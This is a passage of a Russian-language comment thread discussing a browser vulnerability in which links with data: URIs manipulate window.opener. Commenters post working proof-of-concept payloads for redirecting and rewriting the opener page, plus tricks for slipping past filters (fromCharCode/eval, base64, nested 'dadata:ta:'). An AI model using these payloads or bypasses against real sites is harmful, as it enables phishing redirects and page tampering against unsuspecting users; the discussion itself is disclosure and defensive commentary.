                                                                                                        2. Если сможем вставить такую ссылку на сторонний сайт — сможем незаметно для пользователя перенаправить его на другую страницу:

                                                                                                        <a target="_blank" href="data:text/html, <script>window.opener.location='http://ya.ru/'</script>">test</a>
                                                                                                        


                                                                                                        Работает в Chrome, FF, Opera.

                                                                                                        Все!
                                                                                                          +2
                                                                                                          От себя добавлю. Есть еще одна опасность:

                                                                                                          Подобными ссылками можно модифицировать HTML-код исходной страницы. Как то так:

                                                                                                          <a target="_blank" href="data:text/html, <script>window.opener.document.getElementById('testElement').innerHTML='hello';</script>">test</a>
                                                                                                          
                                                                                                            +1
                                                                                                            частный случай, можно делать что угодно. спасибо за TLDR
                                                                                                              +1
                                                                                                              Ну знаете, если бы я кратко расписал, то вопросов было бы еще больше :)
                                                                                                              @Chickey, не за что)
                                                                                                            +1
                                                                                                            Т.е. IE не уязвим?
                                                                                                            Придётся пока попользоваться им тогда.
                                                                                                              0
                                                                                                              У меня под рукой только 9 версия была, а зная Microsoft, я не могу даже предположить, как ведет себя w.o в более старших версиях.
                                                                                                                0
                                                                                                                У меня не получилось повторить в 10
                                                                                                                  +1
                                                                                                                  А скриншотик можно?
                                                                                                                  Если это так, то в пост добавлю)
                                                                                                            0
                                                                                                            И как только фантазии на такое хватило?

                                                                                                            Атас!
                                                                                                              +1
                                                                                                              Попробовал. Ужас! Ещё пара советов для экспериментаторов.
                                                                                                              Если кавычки у УРЛе не пролазиют, можно заменить всё например так:
                                                                                                              data:text/html,eval(String.fromCharCode(40,110, **коды буковок исходника** ,59));
                                                                                                              или даже так (это вообще идеальный вариант имхо):
                                                                                                              data:text/html;base64,PHNjc********XB0Pg==
                                                                                                                0
                                                                                                                host=host.replace(/data:/g,''); //Data не пройдет!

                                                                                                                Даже если сделать "?host=dadata:ta:..."?
                                                                                                                И спасибо за интересную статью.
                                                                                                                  0
                                                                                                                  Тут есть мой косяк: фильтрация полнейший шлак, так что конечно пройдет.
                                                                                                                  Надеюсь, скоро допилю новую статью :)
                                                                                                                    0
                                                                                                                    При фильтрациях то, что надо не пропустить, обычно лучше заменять на какой-нибудь бред.
                                                                                                                    При просто удалении вредной информации из остатков может собраться то, о чего избавлялись.
                                                                                                                    При замене вредной информации на какое-нибудь blablabla и вредной информации не будет и из остальных частей не склеится вредная информация.
                                                                                                                    0
                                                                                                                    <>
                                                                                                                      0
                                                                                                                      Мне кажется, что единственная возможность обратить внимание техподдержки на багрепорт это запилить в тему багрепорта очень говорящее и интригующие название, что-нибудь наподобие «Я ПОЛУЧИЛ ВСЕ ИСХОДНИКИ ВАШЕГО ПРОЕКТА». Скорее всего, если Ваш баг = true, то никто не обидится, что вы немного преувеличили.

                                                                                                                      Only users with full accounts can post comments. Log in, please.